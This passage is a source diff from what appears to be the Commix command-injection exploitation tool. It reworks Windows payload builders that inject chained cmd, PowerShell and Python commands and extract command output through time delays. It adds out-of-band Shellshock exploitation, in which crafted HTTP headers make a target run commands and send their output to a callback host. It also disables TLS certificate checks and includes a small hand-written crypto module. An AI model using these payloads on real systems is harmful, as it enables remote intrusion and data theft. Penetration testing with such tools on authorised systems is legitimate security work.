\"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " - "((Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" + settings.SINGLE_WHITESPACE + - "do if %i==" + str(j) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" - ) - else: - pass else: if separator in (";", "%0a", "%0d%0a") : @@ -99,27 +101,13 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): def decision_alter_interpreter(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): payload = "" if settings.TARGET_OS == settings.OS.WINDOWS: - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\"" - if separator in ("|", "||"): - pipe = "|" - payload = (pipe + - settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + pipe + - "for /f \"tokens=*\" %i in ('cmd /c " + - python_payload + - "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" + chain = checks.windows_separator(separator) + if chain is not None: + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\"" + payload = (chain + + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + + checks.windows_probe(checks.WINDOWS_CHAIN, python_payload, "EQU", j, timesec) ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + ampersand + - "for /f \"tokens=*\" %i in ('cmd /c " + - python_payload + - "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" - ) - else: - pass else: if separator in (";", "%0a", "%0d%0a") : @@ -178,14 +166,14 @@ def condition_check(separator, condition, timesec, http_request_method): "[ " + condition + " ]" + "&&" + "sleep " + str(timesec) ) - elif separator == _urllib.parse.quote("&&"): + elif separator in (_urllib.parse.quote("&"), _urllib.parse.quote("&&"), ""): payload = (_urllib.parse.quote("&") + "sleep 0" + separator + "[ " + condition + " ]" + separator + "sleep " + str(timesec) ) elif separator in ("|", "||"): - pipe = "|" + pipe = separator payload = (pipe + "[ ! " + condition + " ]" + "||" + "sleep " + str(timesec) @@ -198,6 +186,16 @@ def condition_check(separator, condition, timesec, http_request_method): return checks.sanitize_payload_newlines(payload) +""" +Windows counterpart of condition_check() above - 'set /a' has no boolean test operator, so an +equality check is read off a subtraction landing on the expected value. +""" +def windows_condition_check(separator, expr, expected, timesec): + chain = checks.windows_separator(separator) + if chain is None: + return None + return checks.windows_probe(chain, "set /a " + expr, "==", expected, timesec) + """ Execute shell commands on vulnerable host. """ @@ -205,40 +203,22 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth payload = "" inverted_operator = "-gt" if operator == "-le" else "-ne" if settings.TARGET_OS == settings.OS.WINDOWS: - if separator in ("|", "||"): - pipe = "|" - payload = (pipe + - "for /f \"tokens=*\" %i in ('cmd /c \"" + - cmd + - "\"') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + pipe + - "for /f \"tokens=*\" %y in ('cmd /c \"powershell.exe -InputFormat none " - "([string](Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" - "do if %y==" + str(j) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" + - # Transform to ASCII - pipe + - "for /f \"tokens=*\" %x in ('cmd /c \"" + - "powershell.exe -InputFormat none write-host ([int[]][char[]]([string](cmd /c " + cmd + ")))\"')" + settings.SINGLE_WHITESPACE + - "do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%x'" + chain = checks.windows_separator(separator) + if chain is not None: + # 'GEQ', so the length can be binary searched - an equality test only ever answers the one + # candidate it is given. + win_operator = "GEQ" if operator == "-le" else "EQU" + # Stored as one decimal per character: extraction reads a character off it by number, and + # their count is the length being searched for. + ascii_output = ("powershell.exe -InputFormat none write-host ([int[]][char[]](" + + windows_cmd_text(cmd) + "))") + payload = (chain + + "for /f \"tokens=*\" %i in ('cmd /c \"" + ascii_output + "\"') do " + + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + + checks.windows_probe(checks.WINDOWS_CHAIN, + "powershell.exe -InputFormat none write-host " + windows_file_text(OUTPUT_TEXTFILE) + ".split([char]32).length", + win_operator, j, timesec) ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "for /f \"tokens=*\" %i in ('cmd /c \"" + - cmd + - "\"') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + ampersand + - "for /f \"tokens=*\" %y in ('cmd /c \"powershell.exe -InputFormat none " - "([string](Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" - "do if %y==" + str(j) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" + - # Transform to ASCII - ampersand + - "for /f \"tokens=*\" %x in ('cmd /c \"" + - "powershell.exe -InputFormat none write-host ([int[]][char[]]([string](cmd /c " + cmd + ")))\"')" + settings.SINGLE_WHITESPACE + - "do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%x'" - ) - else: - pass else: settings.USER_APPLIED_CMD = cmd if separator in (";", "%0a", "%0d%0a") : @@ -305,31 +285,14 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth def cmd_execution_alter_interpreter(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method): payload = "" if settings.TARGET_OS == settings.OS.WINDOWS: - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\"" - if separator in ("|", "||"): - pipe = "|" - payload = (pipe + - "for /f \"tokens=*\" %i in ('cmd /c " + - cmd + - "') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + pipe + - "for /f \"tokens=*\" %i in ('cmd /c " + - python_payload + - "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" + chain = checks.windows_separator(separator) + if chain is not None: + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\"" + payload = (chain + + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do " + + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + + checks.windows_probe(checks.WINDOWS_CHAIN, python_payload, "EQU", j, timesec) ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "for /f \"tokens=*\" %i in ('cmd /c " + - cmd + - "') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + ampersand + - "for /f \"tokens=*\" %i in ('cmd /c " + - python_payload + - "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" - ) - else: - pass else: settings.USER_APPLIED_CMD = cmd if separator in (";", "%0a", "%0d%0a") : @@ -378,24 +341,13 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http win_operator = "GEQ" if operator == "-le" else "EQU" inverted_operator = "-gt" if operator == "-le" else "-ne" if settings.TARGET_OS == settings.OS.WINDOWS: - if separator in ("|", "||"): - pipe = "|" - payload = (pipe + - "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " - "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" + str(num_of_chars - 1) + "]\"')" + settings.SINGLE_WHITESPACE + - "do if %i " + win_operator + settings.SINGLE_WHITESPACE + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" - ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " - "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" + str(num_of_chars - 1) + "]\"')" + settings.SINGLE_WHITESPACE + - "do if %i " + win_operator + settings.SINGLE_WHITESPACE + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" - ) - else: - pass + chain = checks.windows_separator(separator) + if chain is not None: + # Split on '[char]32', so no quote of its own has to survive cmd.exe's own quote handling. + payload = checks.windows_probe(chain, + "powershell.exe -InputFormat none write-host " + windows_file_text(OUTPUT_TEXTFILE) + + ".split([char]32)[" + str(num_of_chars - 1) + "]", + win_operator, ascii_char, timesec) else: if separator in (";", "%0a", "%0d%0a") : arith_operator = "<=" if operator == "-le" else "==" @@ -442,26 +394,10 @@ def get_char_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_c inverted_operator = "-gt" if operator == "-le" else "-ne" arith_operator = "<=" if operator == "-le" else "==" if settings.TARGET_OS == settings.OS.WINDOWS: - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(ord(file.read().strip()[" + str(num_of_chars - 1) + "][0])); exit(0)\"" - if separator in ("|", "||"): - pipe = "|" - payload = (pipe + - "for /f \"tokens=*\" %i in ('cmd /c " + - python_payload + - "') do if %i " + win_operator + settings.SINGLE_WHITESPACE + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" - ) - - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "for /f \"tokens=*\" %i in ('cmd /c " + - python_payload + - "') do if %i " + win_operator + settings.SINGLE_WHITESPACE + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" - ) - else: - pass + chain = checks.windows_separator(separator) + if chain is not None: + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(ord(file.read().strip()[" + str(num_of_chars - 1) + "][0])); exit(0)\"" + payload = checks.windows_probe(chain, python_payload, win_operator, ascii_char, timesec) else: if separator in (";", "%0a", "%0d%0a") : @@ -497,90 +433,16 @@ def get_char_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_c return checks.sanitize_payload_newlines(payload) -""" -Get the execution output, of shell execution. -""" -def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_method): - payload = "" - if settings.TARGET_OS == settings.OS.WINDOWS: - if separator in ("|", "||"): - pipe = "|" - payload = (pipe + - "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " - "(Get-Content " + OUTPUT_TEXTFILE + ")\"') " - "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" - ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " - "(Get-Content " + OUTPUT_TEXTFILE + ")\"') " - "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" - ) - else: - pass - - else: - if separator in (";", "%0a", "%0d%0a") : - payload = (separator + - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cut -c1-2 " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "sleep $((" + str(timesec) + "*(" + str(ord(str(ascii_char))) + "==${" + settings.RANDOM_VAR_GENERATOR + "})))" - ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "sleep 0" + separator + - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cut -c1-2 " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "[ " + str(ord(str(ascii_char))) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + - "sleep " + str(timesec) - ) - separator = _urllib.parse.unquote(separator) - elif separator == "%26": - payload = (separator + - "[ " + str(ord(str(ascii_char))) + " -eq $(cut -c1-2 " + OUTPUT_TEXTFILE + ") ]" + "&&" + - "sleep " + str(timesec) - ) - elif separator in ("|", "||"): - pipe = "|" - payload = (pipe + - "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + ") ] " + "||" + - "sleep " + str(timesec) - ) - else: - pass - - if settings.CUSTOM_INJECTION_MARKER: - payload = checks.append_custom_marker(payload, separator) - - return payload - """ __Warning__: The alternative shells are still experimental. """ def fp_result_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): payload = "" if settings.TARGET_OS == settings.OS.WINDOWS: - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "]); exit(0)\"" - if separator in ("|", "||"): - pipe = "|" - payload = (pipe + - "for /f \"tokens=*\" %i in ('cmd /c " + - python_payload + - "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" - ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "for /f \"tokens=*\" %i in ('cmd /c " + - python_payload + - "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" - ) - else: - pass + chain = checks.windows_separator(separator) + if chain is not None: + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "]); exit(0)\"" + payload = checks.windows_probe(chain, python_payload, "EQU", ascii_char, timesec) else: if separator in (";", "%0a", "%0d%0a") : payload = (separator + diff --git a/src/core/main.py b/src/core/main.py index b2dec99b7f..ecb18059b0 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -235,6 +235,7 @@ def redirect_probe_request(url, http_request_method): username, _sep, password = menu.options.auth_cred.partition(":") digest_handler.add_password(settings.DIGEST_AUTH_REALM, url, username, password) probe_handlers.append(digest_handler) + probe_handlers.append(_urllib.request.HTTPSHandler(context=settings.unverified_context())) opener = _urllib.request.build_opener(*probe_handlers) # Install globally so later bare urlopen() calls respect it too. _urllib.request.install_opener(opener) @@ -341,6 +342,7 @@ def init_injection(url): settings.TIME_BASED_STATE = False settings.FILE_BASED_STATE = False settings.TEMPFILE_BASED_STATE = False + settings.OOB_STATE = False settings.TIME_RELATED_ATTACK = False # Reset custom and temporary settings @@ -534,6 +536,11 @@ def main(filename, url, http_request_method): menu.options.tech = ''.join([str(x) for x in settings.AVAILABLE_TECHNIQUES]) menu.options.tech = menu.options.tech.lower() + if menu.options.oob and settings.USER_APPLIED_TECHNIQUE: + err_msg = "The switch '--oob' selects the out-of-band technique on its own, so it cannot be " + err_msg += "combined with '--technique'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() # Check for skipping injection techniques. if menu.options.skip_tech: # Convert injection technique(s) to lowercase @@ -554,8 +561,9 @@ def main(filename, url, http_request_method): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - # Check if specified wrong injection technique - if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES: + # Check if specified wrong injection technique - only what the user actually typed, since a + # resumed session hands back techniques that are not selectable on the command line. + if settings.USER_APPLIED_TECHNIQUE and menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES: found_tech = False # Check if used the ',' separator if settings.PARAMETER_SPLITTING_REGEX in menu.options.tech: @@ -564,7 +572,7 @@ def main(filename, url, http_request_method): split_techniques_names = menu.options.tech.split() if split_techniques_names: for i in range(0,len(split_techniques_names)): - if len(menu.options.tech) <= 4: + if len(menu.options.tech) <= len(settings.AVAILABLE_TECHNIQUES): split_first_letter = list(menu.options.tech) for j in range(0,len(split_first_letter)): if split_first_letter[j] in settings.AVAILABLE_TECHNIQUES: @@ -587,6 +595,9 @@ def main(filename, url, http_request_method): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() + if menu.options.oob: + menu.options.tech = 'o' + # Check the file-destination if menu.options.file_write is not None and not menu.options.file_dest: err_msg = "You must specify the host's absolute filepath to write (i.e. '--file-dest')." @@ -792,6 +803,10 @@ def _time_limit_reached(signum, frame): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() + # Any out-of-band option on its own is enough to ask for the channel. + if any((menu.options.oob_server, menu.options.oob_token, menu.options.oob_poll != settings.OOB_POLL_INTERVAL)): + menu.options.oob = True + checks.init_keep_alive() checks.set_optimize() diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 59c3c9ff05..25a8f4bafa 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -1,6 +1,7 @@ #!/usr/bin/env python import re +import time import string import random from src.thirdparty.six.moves import urllib as _urllib @@ -90,6 +91,67 @@ def _send_header_payload(url, check_header, payload): menu.options.agent = default_user_agent return response +""" +Probe every header and CVE through the out-of-band channel, then wait once for the whole sweep. +""" +def _oob_probe(url, testable_headers): + from src.core.injections.blind.techniques.oob import oob_payloads as oob_payloads + + channel = checks.init_oob_channel() + if channel is None: + return None, None + for transport in oob_payloads.transports(): + fired = [] + sent = {} + for check_header in testable_headers: + for cve in shellshock_cves: + token, hostname = channel.new_payload() + # A header is not URL-decoded, so the sum goes in with a literal plus. The attack vector is + # a bash one, which needs nothing run ahead of the command for the sum to hold a value. + expression, expected, _ = oob_payloads.proof(transport, plus="+") + attack_vector = settings.SINGLE_WHITESPACE + "echo; " + oob_payloads.reach_command(transport, hostname, expression) + ";" + payload = shellshock_payloads(cve, attack_vector) + if settings.VERBOSITY_LEVEL != 0: + settings.print_data_to_stdout(settings.print_payload(payload)) + _send_header_payload(url, check_header, payload) + sent[token] = payload + fired.append((token, check_header, cve, expected)) + + deadline = time.time() + settings.OOB_TIMEOUT + while time.time() < deadline: + for token, check_header, cve, expected in fired: + if checks.oob_proof_holds(channel.seen(token, protocol=oob_payloads.required_protocol(transport)), expected): + settings.OOB_TRANSPORT = transport + settings.SHELLSHOCK_OOB = True + return check_header, cve, sent[token] + time.sleep(1) + return None, None, "" + +""" +Run a command through the out-of-band channel and read its output back. +""" +def _oob_cmd_exec(url, cmd, cve, check_header): + from src.core.injections.blind.techniques.oob import oob_payloads as oob_payloads + + channel = settings.OOB_CHANNEL + if channel is None: + return "" + token, hostname = channel.new_payload() + # A header is not URL-decoded, so the pipe goes in literally. + command = oob_payloads.exfil_command(settings.OOB_TRANSPORT, hostname, cmd, pipe="|") + if not command: + return "" + attack_vector = settings.SINGLE_WHITESPACE + "echo; " + command + ";" + payload = shellshock_payloads(cve, attack_vector) + if settings.VERBOSITY_LEVEL != 0: + settings.print_data_to_stdout(settings.print_payload(payload)) + _send_header_payload(url, check_header, payload) + for interaction in channel.wait_for(token, settings.OOB_TIMEOUT, protocol="http"): + body = checks.oob_request_body(interaction.raw_request) + if body: + return body.rstrip("\r\n") + return "" + """ Build the shared execute_cmd(cmd) -> output callback, logging execution only when asked to. """ @@ -221,6 +283,21 @@ def shellshock_handler(url, http_request_method, filename): if checks.prompt_keep_testing(url): break + # Nothing echoed back, so try the out-of-band channel - a blind sink reflects no marker. + if no_result and menu.options.oob: + testable = [_ for _ in settings.SHELLSHOCK_HTTP_HEADERS if _header_testable(_)] + check_header, cve, payload = _oob_probe(url, testable) + if check_header: + no_result = False + settings.DETECTION_PHASE = False + settings.EXPLOITATION_PHASE = True + vuln_parameter = check_header + settings.CHECKING_PARAMETER = check_header + settings.SINGLE_WHITESPACE + "HTTP Header" + settings.HTTP_HEADER = check_header + checks.announce_vulnerable_finding(filename, settings.INJECTION_TYPE.BLIND, technique, settings.SINGLE_WHITESPACE + "HTTP Header", settings.SINGLE_WHITESPACE + check_header, http_request_method, vuln_parameter, payload, counter, decode_payload=False) + session_handler.import_injection_points(url, technique, settings.INJECTION_TYPE.BLIND, filename, "", True, vuln_parameter, "", "", "", False, payload, http_request_method, 0, 0, 0, 0, settings.INJECTION_LEVEL) + _post_exploitation(url, cve, check_header, filename, technique, no_result) + if settings.CONFIRMED_INJECTION_POINTS: checks.quit(filename, url, hard_exit=False) elif no_result == True: @@ -250,6 +327,9 @@ def shellshock_handler(url, http_request_method, filename): """ def cmd_exec(url, cmd, cve, check_header, filename): + if settings.SHELLSHOCK_OOB: + return _oob_cmd_exec(url, cmd, cve, check_header) + """ Check for shellshock 'shell' """ diff --git a/src/core/oob/__init__.py b/src/core/oob/__init__.py new file mode 100644 index 0000000000..2a4000d17a --- /dev/null +++ b/src/core/oob/__init__.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + diff --git a/src/core/oob/crypto.py b/src/core/oob/crypto.py new file mode 100644 index 0000000000..0a1f74247f --- /dev/null +++ b/src/core/oob/crypto.py @@ -0,0 +1,280 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import base64 +import hashlib +import random +import struct + +# Key material must not come from the Mersenne Twister. +_rand = random.SystemRandom() + +""" +Minimal RSA-OAEP and AES-CTR support, keeping out-of-band providers dependency-free. +""" + +SBOX = [ + 0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76, + 0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0, + 0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15, + 0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75, + 0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84, + 0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf, + 0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8, + 0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2, + 0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73, + 0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb, + 0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79, + 0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08, + 0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a, + 0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e, + 0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf, + 0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16 +] + +RCON = [0x01,0x02,0x04,0x08,0x10,0x20,0x40,0x80,0x1b,0x36,0x6c,0xd8,0xab,0x4d] + +SMALL_PRIMES = [2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97, + 101,103,107,109,113,127,131,137,139,149,151,157,163,167,173,179,181,191, + 193,197,199,211,223,227,229,233,239,241,251] + +""" +Multiply two bytes in GF(2^8). +""" +def _gmul(a, b): + result = 0 + for _ in range(8): + if b & 1: + result ^= a + high = a & 0x80 + a = (a << 1) & 0xff + if high: + a ^= 0x1b + b >>= 1 + return result + +""" +Expand an AES-256 key into the per-round key schedule. +""" +def _expand_key(key): + nk, nr = 8, 14 + words = [list(key[i * 4:i * 4 + 4]) for i in range(nk)] + for i in range(nk, 4 * (nr + 1)): + temp = list(words[i - 1]) + if i % nk == 0: + temp = temp[1:] + temp[:1] + temp = [SBOX[b] for b in temp] + temp[0] ^= RCON[i // nk - 1] + elif i % nk == 4: + temp = [SBOX[b] for b in temp] + words.append([words[i - nk][j] ^ temp[j] for j in range(4)]) + return words + +""" +Encrypt a single 16-byte block with AES-256. +""" +def _encrypt_block(block, words): + state = [list(block[i::4]) for i in range(4)] + def add_round_key(rnd): + for c in range(4): + for r in range(4): + state[r][c] ^= words[rnd * 4 + c][r] + add_round_key(0) + for rnd in range(1, 15): + for r in range(4): + for c in range(4): + state[r][c] = SBOX[state[r][c]] + for r in range(1, 4): + state[r] = state[r][r:] + state[r][:r] + if rnd != 14: + for c in range(4): + col = [state[r][c] for r in range(4)] + state[0][c] = _gmul(col[0], 2) ^ _gmul(col[1], 3) ^ col[2] ^ col[3] + state[1][c] = col[0] ^ _gmul(col[1], 2) ^ _gmul(col[2], 3) ^ col[3] + state[2][c] = col[0] ^ col[1] ^ _gmul(col[2], 2) ^ _gmul(col[3], 3) + state[3][c] = _gmul(col[0], 3) ^ col[1] ^ col[2] ^ _gmul(col[3], 2) + add_round_key(rnd) + return bytes(bytearray([state[r][c] for c in range(4) for r in range(4)])) + +""" +Decrypt an AES-256-CTR blob whose first 16 bytes are the initial counter. +""" +def aes_ctr_decrypt(key, blob): + if len(blob) <= 16: + return b"" + words = _expand_key(key) + counter = int(_to_long_bytes(blob[:16]), 16) + data = blob[16:] + out = bytearray() + for offset in range(0, len(data), 16): + block = struct.pack(">QQ", (counter >> 64) & 0xffffffffffffffff, counter & 0xffffffffffffffff) + stream = _encrypt_block(bytearray(block), words) + chunk = data[offset:offset + 16] + out.extend(bytearray([chunk[i] ^ bytearray(stream)[i] for i in range(len(chunk))])) + counter = (counter + 1) & ((1 << 128) - 1) + return bytes(out) + +""" +Render bytes as a hex string, readable back as an integer. +""" +def _to_long_bytes(raw): + return "".join("%02x" % b for b in bytearray(raw)) or "0" + +""" +The MGF1 mask generation function used by OAEP. +""" +def _mgf1(seed, length): + out = b"" + counter = 0 + while len(out) < length: + out += hashlib.sha256(seed + struct.pack(">I", counter)).digest() + counter += 1 + return out[:length] + +""" +Test a candidate for primality using Miller-Rabin. +""" +def _is_probable_prime(n, rounds=24): + if n < 2: + return False + for p in SMALL_PRIMES: + if n % p == 0: + return n == p + d, s = n - 1, 0 + while d % 2 == 0: + d //= 2 + s += 1 + for _ in range(rounds): + a = _rand.randrange(2, n - 1) + x = pow(a, d, n) + if x == 1 or x == n - 1: + continue + for _ in range(s - 1): + x = (x * x) % n + if x == n - 1: + break + else: + return False + return True + +""" +Generate a random prime of the requested bit length. +""" +def _generate_prime(bits): + while True: + candidate = _rand.getrandbits(bits) | (1 << (bits - 1)) | 1 + if 